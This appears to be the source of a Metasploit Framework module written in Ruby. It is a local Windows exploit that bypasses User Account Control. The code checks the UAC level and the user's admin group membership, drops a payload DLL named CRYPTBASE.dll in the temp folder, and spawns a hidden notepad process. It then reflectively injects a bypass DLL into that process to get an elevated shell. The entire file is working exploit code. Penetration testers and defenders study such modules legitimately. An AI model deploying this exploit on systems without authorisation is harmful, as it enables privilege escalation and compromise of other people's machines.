metasploit-framework/modules/exploits/windows/local/bypassuac_injection.rb

229 lines
7.0 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/exploit/exe'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Common
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Exploit::FileDropper
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off. This module uses the Reflective DLL Injection
technique to drop only the DLL payload binary instead of three seperate
binaries in the standard technique. However, it requires the correct
architecture to be selected.
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix', # Port to local exploit
'Ben Campbell <eat_meatballs[at]hotmail.co.uk' # In memory technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
]
],
'DisclosureDate'=> "Dec 31 2010"
))
end
def exploit
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin?
#
# Verify use against Vista+
#
winver = sysinfo["OS"]
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
vprint_status "UAC is Enabled, checking level..."
else
fail_with(Exploit::Failure::NotVulnerable,
"UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate"
)
end
case get_uac_level
when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UACDefault
print_good "UAC is set to Default"
vprint_status "BypassUAC can bypass this setting, continuing..."
when UACNoPrompt
fail_with(Exploit::Failure::NotVulnerable,
"UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate"
)
end
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
print_error('Not in admins group, cannot escalate with this module')
print_error('Exiting...')
return
end
end
if get_integrity_level == LowIntegrityLevel
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
end
tmpdir = expand_path("%TEMP%").strip
windir = expand_path("%WINDIR%").strip
# path to the bypassuac binary
path = ::File.join(Msf::Config.install_root, "data", "post")
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
bpdll_path = ::File.join(path, "bypassuac-x64.dll")
if sysarch =~ /WOW64/i
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
# We only have to do this for SYSWOW64 as 64 bit process
# cleans up after itself. It appears to be a problem with
# SysWOW64 Redirection...
register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll")
end
unless target_arch.first == 'x86_64'
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
)
end
else
if target_arch.first == 'x86'
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
end
#
# Generate payload and random names for upload
#
payload = generate_payload_dll
payload_filepath = "#{tmpdir}\\CRYPTBASE.dll"
print_status("Uploading the Payload DLL to the filesystem...")
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
rescue ::Exception => e
fail_with(
Exploit::Exception::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
dll = ''
File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
offset = get_reflective_dll_offset(dll)
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe"
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
if proc.nil? or proc.pid.nil?
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
end
pid = proc.pid
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
vprint_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(dll.length + (dll.length % 1024))
# Ensure memory is set for execution
host_process.memory.protect(mem)
vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{dll.length} bytes")
vprint_status("Writing the payload into memory")
host_process.memory.write(mem, dll)
vprint_status("Executing payload")
thread = host_process.thread.create(mem+offset, 0)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle,3000)
client.railgun.kernel32.TerminateProcess(host_process.handle,0)
rescue ::Exception => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def get_reflective_dll_offset(dll)
begin
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
return pe.rva_to_file_offset( entry.rva )
end
end
raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
end
end
end